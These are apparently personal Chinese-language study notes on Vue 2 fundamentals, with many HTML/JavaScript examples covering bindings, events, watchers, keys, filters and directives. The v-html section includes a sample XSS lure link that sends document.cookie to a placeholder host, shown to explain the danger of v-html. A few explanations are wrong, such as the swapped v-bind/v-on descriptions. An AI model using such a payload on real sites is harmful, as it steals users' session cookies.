Vue 笔记 1 - Vue基础 背景知识 Vue(读音/vju:/)是一套用于构建用户界面的渐进式框架,发布于2014年2月。Vue被设计为可以自底向上组成应用。
Vue的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。
Vue的一些常用第三方库
vue-router:路由
vue-resource: 通信
vuex: 管理
前端的一些常用工具
Vue安装 Vue官网: vuejs.org
可以使用以下几种方式来安装使用Vue
下载vue.js后直接放在项目工程中引用 下载地址:https://cn.vuejs.org/v2/guide/installation.html
使用CDN 开发环境
1 <script src ="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js" > </script >
生产环境
1 <script src ="https://cdn.jsdelivr.net/npm/vue@2.6.14" > </script >
使用原生ES Modules
1 2 3 <script type="module" > import Vue from 'https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.esm.browser.js' </script>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 npm install vue npm install -g vue npm install -g vue-cli npm install -g @vue/cli npm update -g @vue/cli npm install -g webpack npm uninstall vue-cli -g vue --version
1 2 3 4 5 6 7 8 9 10 11 12 13 npm install vue yarn global add @vue/cli yarn global upgrade --latest @vue/cli yarn global remove vue-cli npm install -g vue-cli npm install -g webpack
初识Vue 第一个Vue页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Hello Vue</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > Hello, {{name}}</h1 > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name : 'Vue' } }); </script > </body > </html >
想让Vue工作,需要创建一个Vue实例,并且要传入一个配置对象;
root容器里的代码依然符合html规范;
root容器与Vue实例之间是一一对应的,一般真实开发中只有一个Vue实例,并且会配合着组件一起使用;
{{ }}
中可以放置js表达式,比如{{1+1}}
,{{Date.now()}}
;
一旦data中的数据发生改变,那么页面模版中用到该数据的地方也会自动更新。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <div id ="root1" > <h1 > Hello, {{name}}, {{age}}</h1 > </div > <div id ="root2" > <h1 > Hello, {{name}}, {{address}}</h1 > </div > <script > Vue .config .productionTip = false const vm1 = new Vue ({ el :'#root1' , data :{ name : 'Vue' , age : 18 } }); const vm2 = new Vue ({ el :'#root2' , data :{ name : 'GeekHall' , address : 'beijing' } }); </script >
输出结果
1 2 Hello, Vue, 18 Hello, GeekHall, beijing
Vue 开发者工具 上面的案例在执行的时候F12打开控制台会看到下面的一行提示内容
是因为我们没有安装Vue开发者工具
可以在VueDevTools官网https://devtools.vuejs.org/
或者GitHubhttps://github.com/vuejs/devtools
来下载安装
Chrome浏览器可以在Chrome 网上商店直接下载安装
使用: 可以直接在F12界面中找到Vue开发者工具的Tab页,在这里可以直接执行修改绑定数据等操作。
另外一个需要注意的是,如果使用file://
的方式打开html的话开发者工具是不会生效的。
这里推荐使用VSCode的liveServer扩展,可以直接在vscode中使用http://127.0.0.1:5500
来调试本地html。
Vue常用7个属性 学习Vue我们必须知道它的7个属性,8个方法,以及7个指令(787原则)
el属性:用来指示vue编译器从什么地方开始解析vue的语法,可以说是一个占位符;
data属性:用来组织从view中抽象出来的属性,可以说将视图的数据抽象出来存放到data中;
template属性:用来设置模板,会替换页面元素,包括占位符;
methods属性:放置页面中的业务逻辑,js方法一般都放置在methods中;
render属性:创建真正的Virtual DOM;
computed属性:用来计算;
watch属性:
watch:function(new, old)){}
监听data中数据的变化
两个参数,一个返回新值,一个返回旧值
Vue模版语法
插值语法(Interpolation)
1 2 3 4 5 6 7 8 9 10 11 12 <div id ="root" > <h1 > Hello, {{name}}</h1 > </div > <script > Vue .config .productionTip = false ; new Vue ({ el :'#root' , data :{ name : 'Vue' } }); </script >
指令语法(v-bind) 指令语法用于解析标签(包括:标签属性、标签体内容、绑定事件……)
v-bind会把引号中的内容当作js表达式来执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <div id ="root" > <h1 > 指令语法:</h1 > <a v-bind:href ="url" > 极客堂</a > </div > <script > Vue .config .productionTip = false ; new Vue ({ el :'#root' , data :{ name : 'Vue' , url : 'https://geekhall.cn' } }); </script >
插值语法一般用在标签体内容, 指令语法一般用在标签属性内容,
双向数据绑定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <div id ="root" > <h1 > 单向数据绑定</h1 > <input type ="text" v-bind:value ="name1" > <hr /> <h1 > 双向数据绑定</h1 > <input type ="text" v-model:value ="name2" > </div > <script > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name1 : 'Vue' , name2 : 'Vue' } }); </script >
注意v-model只能应用在表单类元素上。
v-bind:name
可以简写成":name"
例如:v-bind:href="xxx"
可以简写为::href="xxx"
,
v-model:value
可以简写成"v-model"
例如:v-model:value="xxx"
可以简写为:v-model="xxx"
,
另一种绑定元素的方法 除了使用el来绑定页面元素后,还可以使用mount来绑定元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <div id="root" > <div > <h1 > Hello, {{name}}</h1 > </div > </div> <script > Vue .config .productionTip = false const v = new Vue ({ data :{ name : 'Vue' } }); v.$mount('#root' ); </script >
data的另一种写法(函数式) 1 2 3 4 5 6 7 8 9 10 11 const vm = new Vue ({ data : function ( ){ console .log ('@@@@@:' , this ); return { name : "Vue" } } }); v.$mount('#root' );
注意这里的data函数不能写成箭头函数,否则函数内的this会指向Window,而不是Vue实例了。
但是可以简写成下面的方式:
1 2 3 4 5 6 7 8 const vm = new Vue ({ data ( ){ console .log ('@@@@@:' , this ); return { name : "Vue" } } });
MVVM模型
M:Model,data中的数据
V:View, 模版代码
VM: 视图模型,Vue实例
Tips
data中所有的属性,最后都出现在了vm身上
vm的所有的属性,及Vue原型上所有的属性,在Vue模版中都可以直接使用。
Getter和Setter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 let number = 18 ;let person = { name : '赵四' , sex : 'Male' } Object .defineProperty (person, 'age' , { get : function ( ){ return number; } set (value ) { number = value; } } console .log (person);
Setter使用的是_data
一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
数据代理 通过一个对象代理对另一个对象中属性的操作 将data中的属性通过Object.defineProperty来绑定_data,从而方便的操作data中的属性。 _data中做了数据劫持(响应式的原理)
v-on事件处理
使用v-on:xxx 或者@xxx来绑定事件,其中xxx为事件名;
事件的回调函数需要配置在methods对象中,最终会在vm上;
methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或者组件实例对象;
methods中配置的函数,不要使用箭头函数,否则this就不是vm了;
@click=”demo” 和 @click=”demo($event)” 效果一般,但后者可以传参;(实际测试即使不使用$event,在函数中也还是可以取得event的。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <div id ="root" > <h2 > 欢迎来到{{name}}学习</h2 > <button @click ="showInfo1" > 点我弹出提示信息1</button > <button @click ="showInfo2(666)" > 点我弹出提示信息2</button > <button @click ="showInfo3($event,666)" > 点我弹出提示信息3</button > </div > <script > Vue .config .productionTip = false let vm = new Vue ({ el : '#root' , data : { name : '极客堂' }, methods : { showInfo1 (event ){ console .log (event.target .innerText ); console .log (this === vm); alert ("你好,欢迎你" ); }, showInfo2 (number ){ console .log (number); console .log (event.target .innerText ); console .log (this === vm); }, showInfo3 (number ){ console .log (number); console .log (event.target .innerText ); console .log (this === vm); } } }); </script >
修饰符 Vue中的事件修饰符:
prevent:阻止默认行为(常用);
stop:阻止事件冒泡(常用);
once:事件只触发一次(常用);
capture:使用事件的捕获模式;
self:只有event.target是当前操作的元素时才触发事件;
passive:事件的默认行为立即执行,无需等待事件的回调执行完毕;
例如,下面的@click.prevent
就等价于e.preventDefault();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <div id ="root" > <h2 > 欢迎来到{{name}}</h2 > <a href ="https://geekhall.cn" @click.prevent ="showInfo" > 点我提示信息</a > </div > <script > Vue .config .productionTip = false let vm = new Vue ({ el : '#root' , data : { name : '极客堂' }, methods : { showInfo (e ){ alert ("test" ); } } }); </script >
使用@click.stop:阻止事件冒泡;
1 2 3 <div class ="demo1" @click ="showInfo" style ="background-color:skyblue; padding:1rem" > <button @click.stop ="showInfo" > 点我提示信息</button > </div >
键盘事件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <div id ="root" > <h2 > 欢迎来到{{name}}</h2 > <input type ="text" placeholder ="按下回车提示输入" @keyup ="showInfo" /> </div > <script > Vue .config .productionTip = false let vm = new Vue ({ el : '#root' , data : { name : '极客堂' }, methods : { showInfo (e ){ if (e.keyCode == 13 ) console .log (e.target .value ); } } }); </script >
@click.prevent
和@click.stop;
可以连着写成@click.prevent.stop
;
Vue的写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <div id ="root" > <h2 > 欢迎来到{{name}}</h2 > <input type ="text" placeholder ="按下回车提示输入" @keyup.enter ="showInfo" /> </div > <script > Vue .config .productionTip = false let vm = new Vue ({ el : '#root' , data : { name : '极客堂' }, methods : { showInfo (e ){ console .log (e.target .value ); } } }); </script >
Vue中常见的按键别名:
回车 enter
删除 delete
退出 esc
空格 space
Tab tab
上 up
下 down
左 left
右 right
计算属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <div id ="root" > <h2 > 使用计算属性实现姓名合并</h2 > 姓:<input type ="text" v-model ="firstName" /> <br /> <br /> 名:<input type ="text" v-model ="lastName" /> <br /> <br /> 全名: <span > {{computedFullName}}</span > </div > <script > Vue .config .productionTip = false let vm = new Vue ({ el : '#root' , data : { firstName : '赵' , lastName : '四' }, methods : { fullName ( ){ return this .firstName + ' - ' + this .lastName ; } }, computed : { computedFullName :{ get ( ){ return this .firstName + ' = ' + this .lastName ; } } } }); </script >
监视属性 监视属性watch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <div id ="root" > <h2 > 监视属性</h2 > <h2 > 今天天气很{{info}}</h2 > <button @click ="changeWeather" > 切换天气</button > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { isHot : true }, computed : { info ( ){ return this .isHot ? "炎热" : "凉爽" } }, methods : { changeWeather ( ){ this .isHot = !this .isHot } }, watch : { isHot : { immediate : true , handler (newValue, oldValue ){ console .log ('isHot被修改了' , newValue, oldValue); } } } }); </script >
深度监视 可以使用deep: true
来开启深度监视,监视对象中所有属性的变化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <div id ="root" > <h2 > 监视属性</h2 > <h2 > 今天天气很{{info}}</h2 > <button @click ="changeWeather" > 切换天气</button > <hr /> <h3 > a= {{numbers.a}}</h3 > <button @click ="add" > 点我让a++</button > <hr /> <h3 > numbers2.a= {{numbers1.a}}</h3 > <button @click ="adda" > 点我让a++</button > <h3 > numbers2.b= {{numbers1.b}}</h3 > <button @click ="addb" > 点我让b++</button > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { isHot : true , numbers :{ a :1 , b :2 }, numbers1 :{ a :1 , b :2 } }, computed : { info ( ){ return this .isHot ? "炎热" : "凉爽" } }, methods : { changeWeather ( ){ this .isHot = !this .isHot }, add ( ){ this .numbers .a ++; }, adda ( ){ this .numbers1 .a ++; }, addb ( ){ this .numbers1 .b ++; } }, watch : { isHot : { immediate : true , handler (newVal, oldVal ){ console .log ('isHot被修改了' , newVal, oldVal); } }, 'numbers.a' :{ handler ( ){ console .log ('a被改变了' ); } }, 'numbers1' :{ deep : true , handler ( ){ console .log ('numbers2被改变了' ) } } } }); </script >
监视的简写模式:
1 2 3 4 5 6 7 watch : { isHot : { handler (newVal, oldVal ){ console .log ('isHot被修改了' , newVal, oldVal); } } }
可以简写为下面的形式:
1 2 3 4 5 watch : { isHot (newVal, oldVal ){ console .log ('isHot被修改了' , newVal, oldVal); } }
watch与computed的对比
computed能够完成的功能,watch都能完成,
watch能完成的功能,computed不一定能完成,比如:watch可以加定时器开启异步任务,computed不能
两个重要的小原则:
所有被Vue管理的函数,最好写成普通函数,不要写成箭头函数,这样this的指向才是vm或者组件实例对象;
所有不被Vue管理的函数,(定时器的回调函数,ajax的回调函数等,Promise的回调函数),最好写成箭头函数,这样this的指向才是vm或者组件实例对象;
1 2 3 4 5 6 7 watch : { firstName (val ){ setTimeout (function ( ){ this .fullName = val + '-' + this .lastName ; }, 1000 ); } }
绑定class样式 使用:class
来绑定IGclass样式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <div id ="root" > <h2 > 绑定样式</h2 > <div class ="basic" :class ="bgcolor" @click ="changeColor" > {{name}}</div > <hr > <div class ="basic" :class ="styles" @click ="changeStyle" > {{name}}</div > <hr > <div class ="basic" :class ="classObj" > {{name}}</div > <hr > <div class ="basic" :style ="styleObj" > {{name}}</div > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { name : "极客堂" , bgcolor : 'yellow' , styles : ['center' , 'big' , 'bold' ], classObj : { big : true , bold : false , center : true , }, styleObj : { fontSize : '80px' , color : 'red' , backgroundColor : 'blue' } }, methods : { changeColor ( ){ const arr = ['yellow' , 'green' , 'cyan' ] let i = Math .floor (Math .random ()*3 ); this .mood = arr[i]; }, changeStyle ( ){ console .log ("change style" ); } } }); </script >
v-if 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <div id ="root" > <h2 > v-if</h2 > <p v-if ="type==='A'" > A</p > <p v-else-if ="type==='B'" > B</p > <p v-else-if ="type==='C'" > C</p > <p v-else ="type==='D'" > D</p > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { type : "B" } }); </script >
v-for 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <div id ="root" > <h2 > v-for</h2 > <ul > <li v-for ="(book, index) in books" > {{index}} : {{book.name}} - {{book.author}}</li > </ul > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { books : [ { name : '三国演义' , author : '罗贯中' }, { name : '红楼梦' , author : '曹雪芹' }, { name : '水浒传' , author : '施耐庵' }, { name : '西游记' , author : '吴承恩' }] } }); </script >
template自定义组件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <div id ="root" > <h2 > template</h2 > <geekhall v-for ="item in items" v-bind:geek ="item" > </geekhall > </div > <script > Vue .config .productionTip = false Vue .component ("geekhall" , { props : ['geek' ], template : '<li>{{geek}}</li>' }); const vm = new Vue ({ el : '#root' , data : { items : ["Java" , "Python" , "Django" , "Vue" ] } }); </script >
关于Vue的key 当使用index作为key时,向数组的前部插入数据时会造成数据错乱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <div id ="root" > <h2 > key的原理</h2 > <button @click.once ="add" > 添加一个老刘</button > <ul > <li v-for ="(p, index) of persons" :key ="index" > {{index}}. {{p.name}} - {{p.age}} <input type ="text" > </li > </ul > </div > <script > Vue .config .productionTip = false const vm = new Vue ({ el : '#root' , data : { persons : [{ id : '001' , name : '张三' , age : 18 }, { id : '002' , name : '李四' , age : 19 }, { id : '003' , name : '王五' , age : 20 } ] }, methods : { add ( ) { const p = { id : '004' , name : '赵六' , age : 40 } this .persons .unshift (p); } } }); </script >
改成<li v-for="(p, index) of persons" :key="p.id">
之后则没有这种问题。
Key的内部原理:
虚拟DOM中Key的作用: key是虚拟DOM对象的表示,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM。 随后Vue进行新的虚拟DOM与旧的虚拟DOM的差异及比较,比较规则如下:
比较规则:
旧的虚拟DOM中找到了与新的虚拟DOM相同的Key时,若虚拟DOM没有发生任何变化,则使用之前的真实DOM,若虚拟DOM中内容发生了改变,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
旧的虚拟DOM中未找到与新的虚拟DOM相同的key,则创建新的真实DOM,随后渲染到页面;
用index作为Key,会引发的问题:
若对数据进行逆序添加、逆序删除等破坏顺序的操作,会产生效率问题。
若结构中还包含输入了累DOM,原数据顺序有变化的情况下,会存在数据错乱的问题;
开发中如何选择Key,
最好使用每条数据的唯一标识作为key,比如id,手机号、身份证号、学号等。
如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表用于展示,则使用index作为key是没有问题的。
Vue.set()方法 不包含在data中的数据可以通过Vue.set()方法来新增。
1 2 3 Vue .set (vm.student , 'sex' , 'Female' )或者 vm.$set(vm.student , 'sex' , 'Female' )
Vue侦听数组 直接使用索引更新数组内容不会被Vue侦听到, Vue将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新
push()
pop()
shift()
unshift()
splice()
sort()
reverse()
Vue.set()和vm.$set()也会被Vue侦听到
Vue侦听原理及实例
Vue会监视data中所有层次的数据
通过Setter实现监视,并且要在new Vue时就传入要监视的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <div id ="root" > <h2 > Vue侦听实例</h2 > <button @click ="student.age++" > 年龄+1岁</button > <br /> <button @click ="addSex" > 添加性别属性,默认值:男</button > <br /> <button @click ="student.sex='未知'" > 修改性别为未知</button > <br /> <button @click ="addFriend" > 列表头添加一个朋友</button > <br /> <button @click ="changeFriendName" > 修改第一个朋友的名字为张三</button > <br /> <button @click ="addHobby" > 添加一个爱好</button > <br /> <button @click ="updateHobby" > 修改第一个爱好为开车</button > <br /> <h3 > 姓名:{{student.name}}</h3 > <h3 > 年龄:{{student.age}}</h3 > <h3 v-if ="student.sex" > 性别:{{student.sex}}</h3 > <h3 > 爱好:</h3 > <ul > <li v-for ="(h, index) in student.hobby" :key ="index" > {{h}} </li > </ul > <h3 > 朋友们:</h3 > <ul > <li v-for ="(f, index) in student.friends" :key ='index' > {{f.name}} -- {{f.age}} </li > </ul > </div > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { student : { name : 'tom' , age : 18 , hobby : ['抽烟' ,'喝酒' ,'烫头' ], friends : [ {name : 'jerry' , age : 35 }, {name : 'tony' , age : 34 } ] } }, methods : { addSex ( ){ Vue .set (this .student , 'sex' , '男' ) }, addFriend ( ){ this .student .friends .unshift ({name :'张三' , age :30 }) }, changeFriendName ( ){ this .student .friends [0 ].name = '张三' }, addHobby ( ){ this .student .hobby .unshift ('学习' ) }, updateHobby ( ){ this .$set(this .student .hobby , 0 , '开车' ) } } }) </script >
v-model综合案例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <div id ="root" > <h2 > v-model综合案例</h2 > <form @submit.prevent ="demo" > 账号:<input type ="text" v-model.trim ="userInfo.account" /> <br /> <br /> 密码:<input type ="password" v-model ="userInfo.password" /> <br /> <br /> 年龄:<input type ="number" v-model.number ="userInfo.age" /> <br /> <br /> 性别: 男<input type ="radio" name ="sex" value ="male" v-model ="userInfo.sex" > 女<input type ="radio" name ="sex" value ="female" v-model ="userInfo.sex" > <br /> <br /> 爱好: 听歌<input type ="checkbox" value ="music" v-model ="userInfo.hobby" > 学习<input type ="checkbox" value ="study" v-model ="userInfo.hobby" > 看电影<input type ="checkbox" value ="movie" v-model ="userInfo.hobby" > <br /> <br /> 学习语言: <select v-model ="userInfo.language" > <option value ="" > 请选择语言</option > <option value ="c" > C</option > <option value ="Java" > Java</option > <option value ="python" > Python</option > </select > <br > <br > 其他信息: <textarea v-model ="userInfo.other" cols ="30" rows ="10" > </textarea > <br > <br > <input type ="checkbox" v-model ="userInfo.agree" > 阅读并接受<a href ="https://geekhall.cn" > 《用户协议》</a > <button > 提交</button > </form > </div > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { userInfo : { account : 'admin' , password : '123' , age : '' , sex : 'female' , hobby : ['study' , 'movie' ], language : 'python' , other : '其他信息' , agree : true } }, methods : { demo ( ) { console .log ("submited " ) console .log (JSON .stringify (this .userInfo )) } } }) </script >
过滤器 对要显示的数据进行特定格式化后再显示,适用于一些简单逻辑的处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <div id ="root" > <h2 > 过滤器</h2 > <h2 > 格式化之前的时间: {{time}}</h2 > <br > <h2 > 格式化之后的时间: {{formated_time}}</h2 > <h2 > 格式化之后的时间: {{getFmtTime()}}</h2 > <h2 > 格式化之后的事件:{{time | timeformater}}</h2 > <h2 > 格式化之后的事件:{{time | time_formater('YYYY_MM_DD') | mySlice()}} </h2 > </div > <div id ="root2" > <h2 > hello {{ msg | myGlobalSlice }}</h2 > </div > <script > Vue .config .productionTip = false Vue .filter ('myGlobalSlice' , function (value ){ return value.slice (0 , 4 ) }) new Vue ({ el : '#root' , data : { time : Date .now () }, methods :{ getFmtTime ( ){ return dayjs (Date .now ()).format ('YYYY-MM-DD hh:mm:ss' ) } }, computed : { formated_time ( ){ return dayjs (Date .now ()).format ('YYYY-MM-DD hh:mm:ss' ) } }, filters : { timeformater ( ){ return dayjs (Date .now ()).format ('YYYY-MM-DD hh:mm:ss' ) }, time_formater (value, format='YYYY-MM-DD hh:mm:ss' ){ return dayjs (value).format (format) }, mySlice (value ){ return value.slice (0 , 4 ) } } }) new Vue ({ el : '#root2' , data : { msg : 'geekhall' } }) </script >
内置指令
v-on : 单项绑定解析表达式,可简写为 :xxx
v-bind : 双向数据绑定
v-for : 遍历数组、对象、字符串
v-on : 绑定事件监听,可简写为 @
v-if : 条件渲染(动态控制节点是否存在)
v-else : 条件渲染(动态控制节点是否存在)
v-show : 条件渲染(动态控制节点是否展示)
v-text :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <div id ="root" > <h2 > v-html</h2 > <div > 你好,{{name}}</div > <div v-text ="name" > 这里的内容不会显示</div > <div v-text ="text" > </div > <div v-html ="html" > </div > </div > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { name : '极客堂' , text : '<h3>这里的标签会被显示</h3>' , html : '<h3>这里的标签会被解析</h3>' } }) </script >
v-html : 向指定节点中渲染包含HTML结构的内容。
v-html会替换掉节点中所有的内容,则不会
v-html可以识别html结构
需要严重注意的是:v-html存在安全性问题!!
在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <div id ="root" > <h2 > v-html</h2 > <div > 你好,{{name}}</div > <div v-text ="name" > 这里的内容不会显示</div > <div v-text ="text" > </div > <div v-html ="html" > </div > <div v-html ="str" > </div > </div > <script > Vue.config.productionTip = false new Vue({ el: '#root', data: { name: '极客堂', text: '<h3 > 这里的标签会被显示</h3 > ', html: '<h3 > 这里的标签会被解析</h3 > ', str: '<a href =javascript:location.href ="https://xxxx.cn?+document.cookie" > 大量免费资源!点我领取~!</a > ', } }) </script >
v-cloak: 防止因为网速问题延迟加载时而导致页面闪现的问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <div id ="root" > <h2 > v-cloak</h2 > <h2 v-cloak > {{name}}</h2 > </div > <script src ="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js" > </script > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { name : '极客堂' } }) </script >
v-once : v-once所在节点在初次动态渲染后,就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <div id ="root" > <h2 > v-once</h2 > <h2 v-once > 初始化的n值是:{{n}}</h2 > <button @click ="n++" > n+1</button > </div > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { name : '极客堂' , n : 1 } }) </script >
v-pre : 跳过其所在节点的编译渲染过程。 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
自定义指令 可以在directives: {}中定义自定义指令,默认写法为:'function-name': function(element, binding){}
其中function-name为自定义指令名称,可以在模板中使用v-function-name
来使用, 第一个参数element
表示指令所属的元素,第二个参数binding
中存储了指令的value等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <div id ="root" > <h2 > v-directives自定义指令</h2 > <h2 > 当前的n值是:{{n}}</h2 > <h2 > n的10倍:<span v-big-number ="n" > </span > </h2 > <h2 > n的平方:<span v-square ="n" > </span > </h2 > <button @click ="n++" > n+1</button > <hr > <input type ="text" v-fbind:value ="n" > </div > <script > Vue .config .productionTip = false new Vue ({ el : '#root' , data : { n : 1 }, directives : { square (element, binding ){ element.innerText = binding.value * binding.value }, 'big-number' : function (element, binding ){ element.innerText = binding.value * 10 }, fbind :{ bind (element, binding ){ console .log ('bind' ) element.value = binding.value }, inserted (element, binding ){ console .log ('inserted' ) element.focus () }, update (element, binding ){ console .log ('update' ) element.focus () element.value = binding.value } } } }) </script >
需要注意的是上面的方法为局部的自定义指令,不能够在不同的Vue实例中使用。 如果在不同实例中都可以使用需要定义成全局指令:Vue.directive(指令名, 配置对象)
或者Vue.directive(指令名, 回调函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Vue .directive ('gfbind' , { bind (element, binding ){ console .log ('bind' ) element.value = binding.value }, inserted (element, binding ){ console .log ('inserted' ) element.focus () }, update (element, binding ){ console .log ('update' ) element.focus () element.value = binding.value } })
配置对象中常用的3个回调函数:
bind:指令与元素成功绑定时调用;
inserted: 指令所在的元素被插入页面时调用;
update:指令所在模板结构被重新解析时调用。
注意:
指令定义时不加v-
,但使用时要加v-
指令名如果是多个单词,要使用kebab-case
这种命名方式,不要使用camelCase
命名
生命周期
mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
beforeDestroy:清楚定时器、解绑自定义事件、取消订阅消息等。【收尾工作】
关于销毁Vue实例
销毁后借助Vue开发者工具看不到任何信息;
销毁后自定义事件会失效,但原生DOM事件依然有效;
一般不会在beforeDestroy操作数据,因为即便操作数据,也不会在触发更新流程了。